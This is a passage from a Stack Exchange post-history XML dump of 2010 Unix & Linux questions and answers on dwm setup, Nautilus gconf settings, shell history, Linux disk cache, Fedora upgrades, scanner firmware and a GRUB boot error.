difficult at all. Though I needed to do the following steps to make dwm show in the menu of my login screen.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    $ cd /usr/share/xsessions/  &#xD;&#xA;     $ vim dwm.desktop  &#xD;&#xA;&#xD;&#xA;In the `dwm.desktop` I wrote&#xD;&#xA;&#xD;&#xA;    [Desktop Entry]&#xD;&#xA;    Encoding=UTF-8&#xD;&#xA;    Name=dwm&#xD;&#xA;    Comment=To start dwm session&#xD;&#xA;    Exec=/usr/local/bin/dwm&#xD;&#xA;    Type=Application&#xD;&#xA;&#xD;&#xA;This time when I got to login, I got dwm in the menu." />
  <row Id="6626" PostHistoryTypeId="4" PostId="3127" RevisionGUID="527c1168-43a8-413f-8cd3-a092f35d1e8d" CreationDate="2010-10-15T11:57:15.493" UserId="29" Comment="reword the title, it was bad" Text="how do I add newlines between lines printed on the command line?" />
  <row Id="6627" PostHistoryTypeId="5" PostId="3022" RevisionGUID="41eb6452-ebfc-4218-aa1e-7136259bc31e" CreationDate="2010-10-15T12:26:16.737" UserId="2045" Comment="updating the post after problem solved" Text="I have been using xterm for all my work. I realized that the features that desktop environments like GNOME has to provide are not of much use to me. &lt;br/&gt;Now is it possible that I remove GNOME and KDE altogether and use some window manager only in run level 5 (X11) to play videos, use browser, and occasionally file manager like Nautilus. How can I do it? &lt;br/&gt; &#xD;&#xA;Is it a good idea?&lt;br/&gt;&#xD;&#xA;Which window manager would you suggest?&#xD;&#xA;&#xD;&#xA;What I have done so far: I installed [Window Maker](http://en.wikipedia.org/wiki/Window_Maker). When I rebooted, I was offered one more choice at the time of login - GNOME, KDE,  Window Maker. I chose Window Maker. It gives me multiple workspaces, customizable keyboard shortcuts, without usual desktop features like panel, notification area, desktop icons.&#xD;&#xA;&#xD;&#xA;But I have observed that whenever I launch Nautilus, the desktop background changes to the one I set on GNOME and all desktop icons are restored as they were in GNOME, though the keyboard shortcuts of Window Maker still works. But to remove GNOME background and desktop icons I have to logout and login again.&lt;br/&gt;&#xD;&#xA;How can I fix it so that launching of Nautilus does not bring GNOME background? Should I use some other file manager? &#xD;&#xA;&#xD;&#xA;Update&#xD;&#xA;------&#xD;&#xA;I have complied and installed dwm. It was not difficult at all. Though I needed to do the following steps to make dwm show in the menu of my login screen.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    $ cd /usr/share/xsessions/  &#xD;&#xA;    $ vim dwm.desktop  &#xD;&#xA;&#xD;&#xA;In the `dwm.desktop` I wrote&#xD;&#xA;&#xD;&#xA;    [Desktop Entry]&#xD;&#xA;    Encoding=UTF-8&#xD;&#xA;    Name=dwm&#xD;&#xA;    Comment=To start dwm session&#xD;&#xA;    Exec=/usr/local/bin/dwm&#xD;&#xA;    Type=Application&#xD;&#xA;&#xD;&#xA;This time when I got to login, I got dwm in the menu.&#xD;&#xA;&#xD;&#xA;Update&#xD;&#xA;------&#xD;&#xA;I solved the nautilus problem using following steps.&#xD;&#xA;&#xD;&#xA;    $ gconftool-2 --recursive-list &quot;/apps&quot; |less&#xD;&#xA;Here I searched for nautilus. It gave me&#xD;&#xA;&#xD;&#xA;     /apps/nautilus:&#xD;&#xA;      /apps/nautilus/preferences:&#xD;&#xA;       show_icon_text = local_only&#xD;&#xA;       start_with_sidebar = true&#xD;&#xA;       click_policy = double&#xD;&#xA;       background_color = #ffffff&#xD;&#xA;       start_with_toolbar = true&#xD;&#xA;       start_with_location_bar = true&#xD;&#xA;       mouse_back_button = 8&#xD;&#xA;       thumbnail_limit = 10485760&#xD;&#xA;       directory_limit = -1&#xD;&#xA;       ...&#xD;&#xA;&#xD;&#xA;After that it was a simple matter of setting keys&#xD;&#xA;&#xD;&#xA;    $ gconftool-2 --get &quot;/apps/nautilus/preferences/show_desktop&quot;&#xD;&#xA;    $ true&#xD;&#xA;    $ gconftool-2 --set &quot;/apps/nautilus/preferences/show_desktop&quot; --type bool false&#xD;&#xA;    $ gconftool-2 --get &quot;/apps/nautilus/preferences/exit_with_last_window&#xD;&#xA;    $ false&#xD;&#xA;    $ gconftool-2 --set &quot;/apps/nautilus/preferences/exit_with_last_window&quot; --type bool true&#xD;&#xA;    $ gconftool-2 --get &quot;/apps/nautilus/preferences/media_automount_open&#xD;&#xA;    $ true&#xD;&#xA;    $ gconftool-2 --set &quot;/apps/nautilus/preferences/media_automount_open&quot; --type bool false&#xD;&#xA;&#xD;&#xA;**Useful link**&#xD;&#xA;&#xD;&#xA;[dwm Primer](http://ubuntuforums.org/showthread.php?t=1053814) &lt;br/&gt;&#xD;&#xA;[GConf Command Line Tool](http://library.gnome.org/admin/system-admin-guide/stable/gconf-6.html.en)" />
  <row Id="6628" PostHistoryTypeId="2" PostId="3146" RevisionGUID="0602ae04-9cfa-493d-9342-86912b6a218a" CreationDate="2010-10-15T13:45:29.750" UserId="2212" Text="In gui mode, when a user has more than one terminal open, how do the terminals rewrite the history file of that user? the reason I ask is because, it is quite possible that in each of the terminals the user ends up executing different commands. So, does the history file end up saving the commands from all the terminals or only from the first one to be opened? Or is their some other kind of scheme that is employed to tackle this situation?&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="6629" PostHistoryTypeId="1" PostId="3146" RevisionGUID="0602ae04-9cfa-493d-9342-86912b6a218a" CreationDate="2010-10-15T13:45:29.750" UserId="2212" Text="Mangled history" />
  <row Id="6630" PostHistoryTypeId="3" PostId="3146" RevisionGUID="0602ae04-9cfa-493d-9342-86912b6a218a" CreationDate="2010-10-15T13:45:29.750" UserId="2212" Text="écommandöhistoryà" />
  <row Id="6631" PostHistoryTypeId="2" PostId="3147" RevisionGUID="7f08cf7f-6adb-47af-bbc5-8b021d477562" CreationDate="2010-10-15T13:49:52.253" UserId="1416" Text="I always understood cached memory in Linux (as in free -m) as pages of memory that can be reused if they are needed again, or quickly freed if more memory is needed by new applications (I found [this article][1] to be helpful a few years ago).&#xD;&#xA;&#xD;&#xA;It seems that both executables (e.g., a program like thunderbird) and data (e.g., the content of a log file) can be cached. In fact, I don't think there is a distinction between text and executable files on *nix.&#xD;&#xA;&#xD;&#xA;I can see how it could work for data that does not change much (e.g., a text file), but how does it work for programs that are dynamic by nature? Surely, the cached memory cannot restore objects that were dynamically allocated? Is it only the bytecode (or instructions in the case of scripts) that is cached then?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://forums.gentoo.org/viewtopic.php?t=175419" />
  <row Id="6632" PostHistoryTypeId="1" PostId="3147" RevisionGUID="7f08cf7f-6adb-47af-bbc5-8b021d477562" CreationDate="2010-10-15T13:49:52.253" UserId="1416" Text="How does cached memory work for executables?" />
  <row Id="6633" PostHistoryTypeId="3" PostId="3147" RevisionGUID="7f08cf7f-6adb-47af-bbc5-8b021d477562" CreationDate="2010-10-15T13:49:52.253" UserId="1416" Text="émemoryà" />
  <row Id="6634" PostHistoryTypeId="5" PostId="3134" RevisionGUID="e22ecbdc-03a0-43f1-a7d6-6e774572d890" CreationDate="2010-10-15T13:51:06.380" UserId="1264" Comment="added 96 characters in body" Text="If it's for more than just have look, I prefer to send them to a text file and open with a text editor so you can set the lines to wrap or not and do searches easily...&#xD;&#xA;and delete the unwanted lines and so on without having to type a lot of commands.&#xD;&#xA;&#xD;&#xA;`cat file.log &gt; log.txt`&#xD;&#xA;and `gedit log.txt` or a terminal editor like nano&#xD;&#xA;&#xD;&#xA;Edit: or `cp file.log log.txt` wich is of course easier and faster... thanks to KeithB comment" />
  <row Id="6635" PostHistoryTypeId="2" PostId="3148" RevisionGUID="33797cea-1517-43fb-9927-8d95d7e77102" CreationDate="2010-10-15T13:58:45.727" UserId="73" Text="It depends entirely on how the shell chooses to handle it&#xD;&#xA;&#xD;&#xA;`bash` by default will overwrite the history file with the local history of each shell as it exits, so the last shell to exit wins. The **`histappend`** option will cause it to append to the master history instead (`shopt -s histappend`).&#xD;&#xA;&#xD;&#xA;`zsh` does the same by default, and has a few options for dealing with it:&#xD;&#xA;&#xD;&#xA;* **`appendhistory`** -- The history of each shell is appended to the master history file as the shell exits&#xD;&#xA;* **`incappendhistory`** -- The master history file is updated each time a line is executed in any shell, instead of waiting until that shell exits&#xD;&#xA;* **`sharehistory`** -- Like `incappendhistory`, but also pulls changes from the master history file into all running shells, so you can run a command in one shell and then hit &lt;kbd&gt;Up&lt;/kbd&gt; in another shell and see it" />
  <row Id="6636" PostHistoryTypeId="5" PostId="3146" RevisionGUID="a2d96d62-fbbf-4df1-a8a2-77416dfab46a" CreationDate="2010-10-15T14:01:55.937" UserId="2212" Comment="edited body" Text="In gui mode, when a user has more than one terminal open, how do the terminals rewrite the history file of that user? the reason I ask is because, it is quite possible that in each of the terminals the user ends up executing different commands. So, does the history file end up saving the commands from all the terminals or only from the first one to be opened? Or is there some other kind of scheme that is employed to tackle this situation?&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="6637" PostHistoryTypeId="5" PostId="3144" RevisionGUID="fee9a24a-924f-488b-9b11-26994c5392ff" CreationDate="2010-10-15T14:06:45.530" UserId="73" Comment="added 12 characters in body; edited tags" Text="In my office I want to update and download through `wget` and here they are using a proxy. How can I get `wget` to use the proxy from the command-line?&#xD;&#xA;" />
  <row Id="6638" PostHistoryTypeId="6" PostId="3144" RevisionGUID="fee9a24a-924f-488b-9b11-26994c5392ff" CreationDate="2010-10-15T14:06:45.530" UserId="73" Comment="added 12 characters in body; edited tags" Text="élinuxàénetworkingàéproxyà" />
  <row Id="6639" PostHistoryTypeId="2" PostId="3149" RevisionGUID="bd4af15a-b66a-475b-9407-42ab42045cda" CreationDate="2010-10-15T14:11:53.620" UserId="2045" Text="I have been using Fedora as my primary distribution since very long. One thing that _&quot;bothers&quot;_ me is its relatively short life cycle. I install its latest release, restore my backup, customize the applications, take a sigh of relief but by then the new release is just around the corner.&#xD;&#xA;&#xD;&#xA;&gt; Fedora has a comparatively short life&#xD;&#xA;&gt; cycle: version X is maintained until&#xD;&#xA;&gt; one month after version X+2 is&#xD;&#xA;&gt; released. With 6 months between&#xD;&#xA;&gt; releases, the maintenance period is a&#xD;&#xA;&gt; very short 13 months for each version. [Wikipedia](http://bit.ly/ONoUh)&#xD;&#xA;&#xD;&#xA;Once I used pre-upgrade when moving from Fedora 9 to 10. It didn't work smoothly. The new upgraded Fedora was using the old kernel images of Fedora 9. Took me long to figure it out and I had to use live usb to fix it. Since then I decided not to use `pre-upgrade` or `Upgrade an existing installation` option. I had some hiccups with applications too.&#xD;&#xA;&#xD;&#xA;Using `fresh install` seems safer. But now I have to backup all data, along with my scripts and rc files and restore it again. This takes time along with installing apps that are not installed by default and removing not-required apps.&#xD;&#xA;&#xD;&#xA;Main problem is customization settings of each application. From Firefox only, I would have to export saved passwords, bookmarks, saved sessions, preferences of different extensions, etc. Some other applications do not provide option of save/export settings at all. So I have to configure each one manually.&#xD;&#xA;&#xD;&#xA;All in all, upgrading to latest release takes time, even longer if my net connection goes down for some reason. Each time I upgrade, I cannot take it out my mind that within few months a new release will be knocking my door, and I will have to repeat the whole exercise again.&#xD;&#xA;&#xD;&#xA;1- What could be a painless and easy procedure to take backups of all data and to restore it? I would prefer a command line solution. &lt;br/&gt;&#xD;&#xA;2- How can I preserve settings of applications, if they do not provide an option to export settings?&lt;br/&gt;&#xD;&#xA;3- If you are Fedora user, what do you do to keep up with its frequent releases?&lt;br/&gt;&#xD;&#xA;4- How can I make this whole procedure faster and less painful? Its the amount of time and efforts that an upgrade takes altogether which made me post this question. How can I make my life easier?&lt;br/&gt;&#xD;&#xA;&#xD;&#xA;Any help, suggestions and ideas would be greatly appreciated. Thanks for your time." />
  <row Id="6640" PostHistoryTypeId="1" PostId="3149" RevisionGUID="bd4af15a-b66a-475b-9407-42ab42045cda" CreationDate="2010-10-15T14:11:53.620" UserId="2045" Text="How should I deal with Fedora's short life cycle?" />
  <row Id="6641" PostHistoryTypeId="3" PostId="3149" RevisionGUID="bd4af15a-b66a-475b-9407-42ab42045cda" CreationDate="2010-10-15T14:11:53.620" UserId="2045" Text="éfedoraàétipsöandötricksàébestöpractiseà" />
  <row Id="6642" PostHistoryTypeId="5" PostId="3149" RevisionGUID="c3c325ee-56cf-4d43-9e95-246f4742bebd" CreationDate="2010-10-15T14:32:30.707" UserId="73" Comment="deleted 21 characters in body" Text="I have been using Fedora as my primary distribution since very long. One thing that _&quot;bothers&quot;_ me is its relatively short life cycle. I install its latest release, restore my backup, customize the applications, take a sigh of relief but by then the new release is just around the corner.&#xD;&#xA;&#xD;&#xA;&gt; Fedora has a comparatively short life&#xD;&#xA;&gt; cycle: version X is maintained until&#xD;&#xA;&gt; one month after version X+2 is&#xD;&#xA;&gt; released. With 6 months between&#xD;&#xA;&gt; releases, the maintenance period is a&#xD;&#xA;&gt; very short 13 months for each version. [Wikipedia](http://bit.ly/ONoUh)&#xD;&#xA;&#xD;&#xA;Once I used pre-upgrade when moving from Fedora 9 to 10. It didn't work smoothly. The new upgraded Fedora was using the old kernel images of Fedora 9. Took me long to figure it out and I had to use live usb to fix it. Since then I decided not to use `pre-upgrade` or `Upgrade an existing installation` option. I had some hiccups with applications too.&#xD;&#xA;&#xD;&#xA;Using `fresh install` seems safer. But now I have to backup all data, along with my scripts and rc files and restore it again. This takes time along with installing apps that are not installed by default and removing not-required apps.&#xD;&#xA;&#xD;&#xA;Main problem is customization settings of each application. From Firefox only, I would have to export saved passwords, bookmarks, saved sessions, preferences of different extensions, etc. Some other applications do not provide option of save/export settings at all. So I have to configure each one manually.&#xD;&#xA;&#xD;&#xA;All in all, upgrading to latest release takes time, even longer if my net connection goes down for some reason. Each time I upgrade, I cannot take it out my mind that within few months a new release will be knocking my door, and I will have to repeat the whole exercise again.&#xD;&#xA;&#xD;&#xA;1. What could be a painless and easy procedure to take backups of all data and to restore it? I would prefer a command line solution.&#xD;&#xA;2. How can I preserve settings of applications, if they do not provide an option to export settings?&#xD;&#xA;3. If you are Fedora user, what do you do to keep up with its frequent releases?&#xD;&#xA;4. How can I make this whole procedure faster and less painful? Its the amount of time and efforts that an upgrade takes altogether which made me post this question. How can I make my life easier?&#xD;&#xA;&#xD;&#xA;Any help, suggestions and ideas would be greatly appreciated. Thanks for your time." />
  <row Id="6643" PostHistoryTypeId="2" PostId="3150" RevisionGUID="014978ae-6880-4a1a-8a49-962d51451062" CreationDate="2010-10-15T14:56:53.083" UserId="1290" Text="I've run into this problem yesterday, after about six months or so, where I used my scanner for the last time. I've installed a new Linux in the meantime.&#xD;&#xA;&#xD;&#xA;I have a Mustek BearPaw 1200 CU Plus. It's an old and quite cheap scanner, but it's been working for over six years now, so until it breaks, there's no need to replace it.&#xD;&#xA;&#xD;&#xA;In order to make this scanner run, I have to get a `PS1Dfw.usb`, which is the Firmware, that needs to be loaded every time before scanning onto the device. After installing sane and the backends, and putting the firmware into `/usr/share/sane/gt68xx/`, I could scan the pages I needed.&#xD;&#xA;&#xD;&#xA;But why is this such a pain? Printers aren't that hard to connect to Linux, so why's that with scanners? And why aren't the firmware's in a package or something?&#xD;&#xA;&#xD;&#xA;The [site where I downloaded the firmware][1] from, hasn't been updated since 2007, and is no longer maintained. What if it finally goes offline, do we lose support for all gt68xx based scanners?&#xD;&#xA;&#xD;&#xA;Any advice on how to make this simpler is welcomed (I don't use my scanner that often, and I usually do a new installation of the OS in the mean time. Then, when I *do* need my scanner, it's all looking up how to make that damn thing work all over again).&#xD;&#xA;&#xD;&#xA;  [1]: http://www.meier-geinitz.de/sane/gt68xx-backend/" />
  <row Id="6644" PostHistoryTypeId="1" PostId="3150" RevisionGUID="014978ae-6880-4a1a-8a49-962d51451062" CreationDate="2010-10-15T14:56:53.083" UserId="1290" Text="Why is connecting scanners to Linux such a pain?" />
  <row Id="6645" PostHistoryTypeId="3" PostId="3150" RevisionGUID="014978ae-6880-4a1a-8a49-962d51451062" CreationDate="2010-10-15T14:56:53.083" UserId="1290" Text="élinuxàédriversàéscannerà" />
  <row Id="6646" PostHistoryTypeId="2" PostId="3151" RevisionGUID="2c6aa061-66c9-49b2-b374-04124bfb2814" CreationDate="2010-10-15T15:18:44.480" UserId="274" Text="There is basically no difference in the way the Linux kernel treats various types of data in memory: the part of the kernel doing caring about this is called the &quot;virtual memory subsystem&quot;, and it only cares whether a certain portion of memory is in use by a program or not.&#xD;&#xA;&#xD;&#xA;The Linux kernel partitions the available RAM into little chunks called &quot;pages&quot;. Then classifies pages into &quot;in use&quot; (for instance: pages containing code or data for a program that is currently running), and &quot;unused&quot; pages.  For the &quot;in use&quot; pages, it does not matter whether they contain executable code, text data, Java bytecode or whatever -- the only thing that matters is that they are &quot;in use&quot;: they need to be in RAM because that data is constantly being accessed.&#xD;&#xA;&#xD;&#xA;Since RAM is the fastest storage device available, it is a waste to let &quot;unused&quot; pages be inactive, so the kernel &quot;recycles&quot; unused pages to cache data that has been fetched from the disk and could be needed again shortly. The kernel has some algorithms to make this prediction; I/O system performance depends to a large extent on how good this algorithms can foretell the actual workload of your computer.&#xD;&#xA;&#xD;&#xA;In addition, to speed up I/O operations, part of the RAM will be used to buffer data that is being written to the disk: you might have noticed that, when you copy a large file to a slow disk (e.g., an USB stick), the `cp` command finishes before the data is fully written to the device: this happens precisely because the kernel is holding some data in &quot;free&quot; memory to speed up the (slow) write operation; data will be written back to disk some seconds later, when the `cp` program has possibly already finished.  As soon as data is written to disk, these pages will be again considered free (and re-used for caching data, or moved to the &quot;in use&quot; pool if the need arises). &#xD;&#xA;&#xD;&#xA;As you point out, the &quot;cached&quot; pages can be (relatively) quickly reclaimed by the kernel, in case there is a need to allocate more pages for &quot;in use&quot; data, since the &quot;cache&quot; pages are just holding data that is available from disk (the cached data will be fetched from disk again when it is asked for).&#xD;&#xA;" />
  <row Id="6647" PostHistoryTypeId="2" PostId="3152" RevisionGUID="81b24276-4668-4dcb-b787-166114ae2a8e" CreationDate="2010-10-15T15:19:50.973" UserId="1948" Text="The cache shown in free is file system cache.  At the file system level, everything is just octets of data.  Whether application or file data, no difference *at that level*.  While it is possible to reload an executable that has been swapped out  from file cache (executables are *not* written to the swap file, they are simply kicked out of memory), this would be rare because the file cache is usually sacrificed first.&#xD;&#xA;&#xD;&#xA;Now, be clear on the distinction between file cache as shown by free and any other kind of memory that may be involved by a running program.  For it is not clear what you mean by &quot;the cached memory cannot restore objects that were dynamically allocated.&quot;  Any memory in use by the application is *not* involved with the file cache.  No memory allocations of any kind by an application are cached by the file cache.  The file cache is only an intermediary between the disk and the OS.&#xD;&#xA;&#xD;&#xA;To answer dour question:  &quot;Is it only the bytecode (or instructions in the case of scripts) that is cached then?&quot;&#xD;&#xA;&#xD;&#xA;The file cache only caches the octets on disk. It does not care what memory is used by the application." />
  <row Id="6648" PostHistoryTypeId="5" PostId="3151" RevisionGUID="8aa7a889-2df6-41d6-886a-6051b7b8bcfa" CreationDate="2010-10-15T15:23:48.997" UserId="274" Comment="added tutorial links" Text="There is basically no difference in the way the Linux kernel treats various types of data in memory: the part of the kernel doing caring about this is called the &quot;virtual memory subsystem&quot;, and it only cares whether a certain portion of memory is in use by a program or not.&#xD;&#xA;&#xD;&#xA;The Linux kernel partitions the available RAM into little chunks called &quot;pages&quot;. Then classifies pages into &quot;in use&quot; (for instance: pages containing code or data for a program that is currently running), and &quot;unused&quot; pages.  For the &quot;in use&quot; pages, it does not matter whether they contain executable code, text data, Java bytecode or whatever -- the only thing that matters is that they are &quot;in use&quot;: they need to be in RAM because that data is constantly being accessed.&#xD;&#xA;&#xD;&#xA;Since RAM is the fastest storage device available, it is a waste to let &quot;unused&quot; pages be inactive, so the kernel &quot;recycles&quot; unused pages to cache data that has been fetched from the disk and could be needed again shortly. The kernel has some algorithms to make this prediction; I/O system performance depends to a large extent on how good this algorithms can foretell the actual workload of your computer.&#xD;&#xA;&#xD;&#xA;In addition, to speed up I/O operations, part of the RAM will be used to buffer data that is being written to the disk: you might have noticed that, when you copy a large file to a slow disk (e.g., an USB stick), the `cp` command finishes before the data is fully written to the device: this happens precisely because the kernel is holding some data in &quot;free&quot; memory to speed up the (slow) write operation; data will be written back to disk some seconds later, when the `cp` program has possibly already finished.  As soon as data is written to disk, these pages will be again considered free (and re-used for caching data, or moved to the &quot;in use&quot; pool if the need arises). &#xD;&#xA;&#xD;&#xA;As you point out, the &quot;cached&quot; pages can be (relatively) quickly reclaimed by the kernel, in case there is a need to allocate more pages for &quot;in use&quot; data, since the &quot;cache&quot; pages are just holding data that is available from disk (the cached data will be fetched from disk again when it is asked for).&#xD;&#xA;&#xD;&#xA;Further reading:&#xD;&#xA;&#xD;&#xA;* [Virtual Memory Basics](http://www.linux-tutorial.info/modules.php?name=MContent&amp;pageid=330)&#xD;&#xA;* [Paging and Swapping](http://www.linux-tutorial.info/modules.php?name=MContent&amp;pageid=89)&#xD;&#xA;" />
  <row Id="6649" PostHistoryTypeId="5" PostId="3147" RevisionGUID="288b7b97-119f-4ad0-b06d-17d0e70b789e" CreationDate="2010-10-15T15:25:00.427" UserId="1416" Comment="Clarified what I meant by &quot;cached&quot;" Text="I always understood cached memory in Linux (as in free -m) as pages of memory that can be reused if they are needed again, or quickly freed if more memory is needed by new applications (I found [this article][1] to be helpful a few years ago).&#xD;&#xA;&#xD;&#xA;It seems that both executables (e.g., a program like thunderbird) and data (e.g., the content of a log file) can be cached. In fact, I don't think there is a distinction between text and executable files on *nix.&#xD;&#xA;&#xD;&#xA;I can see how it could work for data that does not change much (e.g., a text file), but how does it work for programs that are dynamic by nature? Surely, the cached memory cannot restore objects that were dynamically allocated? Is it only the bytecode (or instructions in the case of scripts) that is cached then?&#xD;&#xA;&#xD;&#xA;**EDIT 1**&#xD;&#xA;&#xD;&#xA;By cached memory, I mean the memory under the column &quot;cached&quot; when I run &quot;free&quot;:&#xD;&#xA;&#xD;&#xA;    $ free -m&#xD;&#xA;                 total       used       free     shared    buffers     cached&#xD;&#xA;    Mem:          7985       6650       1334          0        150       3201&#xD;&#xA;    -/+ buffers/cache:       3298       4686&#xD;&#xA;    Swap:        13178          2      13176&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://forums.gentoo.org/viewtopic.php?t=175419" />
  <row Id="6650" PostHistoryTypeId="2" PostId="3153" RevisionGUID="8b6abcb5-72f5-4187-89c9-b503bd280362" CreationDate="2010-10-15T15:26:47.327" UserId="1290" Text="1. I use an external drive, where I backup some of my folders and dotfiles with `rsync -avz` once the first snapshot is taken, it only needs very little data to move onto the external drive for backups&#xD;&#xA;&#xD;&#xA;2. Well, pretty much all of that information is stored in a dotfile or in some dotdirectory. All you need to do, is backup those directories. That's what I do anyway, and it's been working for years.&#xD;&#xA;&#xD;&#xA;3. It all depends on what big of a change the next release is. for instance, when the file systems don't change, I don't see a reason to re-install anymore. It was all different back when FC6 was around. Upgrading was a pain and I usually made fresh installs back then.&#xD;&#xA;From Fedora 8 onwards, preupgrade was working fine, I didn't have had any issues with it. I did however a fresh install for Fedora 13, since I wanted all my hard drives to be formatted in ext4. Other than that, upgrading to latest version of Fedora usually works well.&#xD;&#xA;&#xD;&#xA;4. Usually, keep somewhat track, of what changes you do to the system. What files in `/etc/` you changed, what programs you compiled yourself, or what libs you put into `/usr/lib/` yourself, etc. This makes life much easier, as well as a backup, that is constantly kept up to date. Preupgrade works fine by now, but when you want to change The file system or so, there's no way around reinstalling. The [upgrade guide][1] of Fedora will advice you when you should indeed reinstall instead of doing an upgrade. The PreUpgrade manual says, it's possible to upgrade from F11 directly to F13, for example. I would advice against it. Since older Fedoras aren't upgraded, the PreUpgrade package is most likely outdated.&#xD;&#xA;&#xD;&#xA;This won't help, but when you're a OpenBSD user, you need to make most changes manually and you can't upgrade to the latest release from any other than the previous one.&#xD;&#xA;&#xD;&#xA;  [1]: https://fedoraproject.org/wiki/PreUpgrade&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6651" PostHistoryTypeId="5" PostId="2601" RevisionGUID="48e0aac5-64bd-4b4f-ba43-36f4b598cfdd" CreationDate="2010-10-15T15:37:16.097" UserId="2049" Comment="Added details about tuxonice results" Text="With my new built computer Ubuntu 10.4 lucid won't hibernate or suspend.  It's a custom built core i7 on the Gigabyte X58A-UD3R motherboard. Hibernate is enabled in the bios.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Running `sudo hibernate` gives:&#xD;&#xA;&#xD;&#xA;&gt; hibernate:Warning: Tuxonice binary&#xD;&#xA;&gt; signature file not found. Some modules&#xD;&#xA;&gt; failed to unload: nvidia hibernate:&#xD;&#xA;&gt; Aborting suspend due to errors in&#xD;&#xA;&gt; ModulesUnloadBlacklist (use --force to&#xD;&#xA;&gt; override).&#xD;&#xA;&#xD;&#xA;After installing, linux-generic-tuxonice and linux-headers-generic-tuxonice, and rebuilding my nvidia dev drivers. It still does not work, but I think I'm closer. now when I run &quot;aredd@IM-EPI140:~$ sudo hibernate&quot; I get:&#xD;&#xA;&#xD;&#xA;    hibernate: TuxOnIce reported the following errors:&#xD;&#xA;     - TuxOnIce was aborted (see dmesg).&#xD;&#xA;     - Some devices refused to suspend (see dmesg).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&quot;gmesg | grep error&quot; returns &#xD;&#xA;&#xD;&#xA;     [  736.173906] PM: Device usb9 failed to freeze: error -2&#xD;&#xA;     [  736.642208]                  : A device suspend/resume returned an error.&#xD;&#xA;&#xD;&#xA;Any ideas how I find out what is on usb9 and why it's failing to freeze.  The only thing that I have on usb is the keyboard and mouse.&#xD;&#xA;" />
  <row Id="6652" PostHistoryTypeId="2" PostId="3154" RevisionGUID="f6db0535-ae05-41e3-8d55-9263ce495629" CreationDate="2010-10-15T15:49:00.497" UserId="1836" Text="I am running suse 11.2. ubuntu is on the extended partition /dev/sda5 but when I boot I get &#xD;&#xA;&#xD;&#xA;Error 19: Linux kernel must be loaded before initrd&#xD;&#xA;&#xD;&#xA;This is the unbuntu entry in menu.lst&#xD;&#xA;#Don’t change this comment – YaST2 identifier: Original name: none#&#xD;&#xA;title Ubuntu 10.04&#xD;&#xA;    root (hd0,4)&#xD;&#xA;    kernel /vmlinuz root=/dev/sda5 ro quiet splash&#xD;&#xA;    initrd /initrd.img&#xD;&#xA;" />
  <row Id="6653" PostHistoryTypeId="1" PostId="3154" RevisionGUID="f6db0535-ae05-41e3-8d55-9263ce495629" CreationDate="2010-10-15T15:49:00.497" UserId="1836" Text="cannot boot my ubuntu partition" />
  <row Id="6654" PostHistoryTypeId="3" PostId="3154" RevisionGUID="f6db0535-ae05-41e3-8d55-9263ce495629" CreationDate="2010-10-15T15:49:00.497" UserId="1836" Text="édualöbootà" />
  <row Id="6655" PostHistoryTypeId="2" PostId="3155" RevisionGUID="fd9d2c6a-5505-4339-a960-73fcb649701f" CreationDate="2010-10-15T15:58:02.417" UserId="13" Text="If your machine is behind a proxy running a Microsoft NTLM based web proxy you may need something like the (python based) [ntlmaps][1] to sit between wget/apt-get and the real proxy to do the authentication for you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ntlmaps.sourceforge.net/" />
  <row Id="6656" PostHistoryTypeId="5" PostId="3147" RevisionGUID="718f9c68-83f7-4852-b5b5-e1e16291311b" CreationDate="2010-10-15T16:09:58.700" UserId="1416" Comment="Found the answer..." Text="I always understood cached memory in Linux (as in free -m) as pages of memory that can be reused if they are needed again, or quickly freed if more memory is needed by new applications (I found [this article][1] to be helpful a few years ago).&#xD;&#xA;&#xD;&#xA;It seems that both executables (e.g., a program like thunderbird) and data (e.g., the content of a log file) can be cached. In fact, I don't think there is a distinction between text and executable files on *nix.&#xD;&#xA;&#xD;&#xA;I can see how it could work for data that does not change much (e.g., a text file), but how does it work for programs that are dynamic by nature? Surely, the cached memory cannot restore objects that were dynamically allocated? Is it only the bytecode (or instructions in the case of scripts) that is cached then?&#xD;&#xA;&#xD;&#xA;**EDIT 1**&#xD;&#xA;&#xD;&#xA;By cached memory, I mean the memory under the column &quot;cached&quot; when I run &quot;free&quot;:&#xD;&#xA;&#xD;&#xA;    $ free -m&#xD;&#xA;                 total       used       free     shared    buffers     cached&#xD;&#xA;    Mem:          7985       6650       1334          0        150       3201&#xD;&#xA;    -/+ buffers/cache:       3298       4686&#xD;&#xA;    Swap:        13178          2      13176&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**EDIT 2**&#xD;&#xA;&#xD;&#xA;Thanks to ls-lrt who gave me the hint I was missing. As this response on SE clearly mentions (should have searched there first), [&quot;The cached memory is the **disk cache** used by the VFS&quot;][2]. This means that for executables, only the instructions (bytecode, script lines, etc.) are represented under this column and it has nothing to do with things that are dynamically allocated. I was under the impression that entire pages of memory (including dynamically created objects) were &quot;cached&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://forums.gentoo.org/viewtopic.php?t=175419&#xD;&#xA;  [2]: http://serverfault.com/questions/113274/free-memory-is-low-cached-memory-is-highis-it-save-to-have-this/113282#113282" />
  <row Id="6657" PostHistoryTypeId="2" PostId="3156" RevisionGUID="e9148752-8dc1-4c44-b17b-0d3ad1c9dfb5" CreationDate="2010-10-15T16:10:28.323" UserId="5" Text="It could be that your vmlinuz file is not found. It could be that this is because it is in the /boot directory on sda5, hence you should change you line to&#xD;&#xA;&#xD;&#xA;    title Ubuntu 10.04 root (hd0,4) kernel /boot/vmlinuz root=/dev/sda5 ro quiet splash initrd /initrd.img&#xD;&#xA;&#xD;&#xA;or if it is place somewhere else, where ever its place is.&#xD;&#xA;&#xD;&#xA;(You might need to do the same with the initrd.img file)&#xD;&#xA;&#xD;&#xA;Also, check if the vmlinuz and initrd.img files for ubuntu have exactly this name. Usually, they have the kernel version and type in the name (i.e. vmlinuz-2.6.35-22-generic)" />
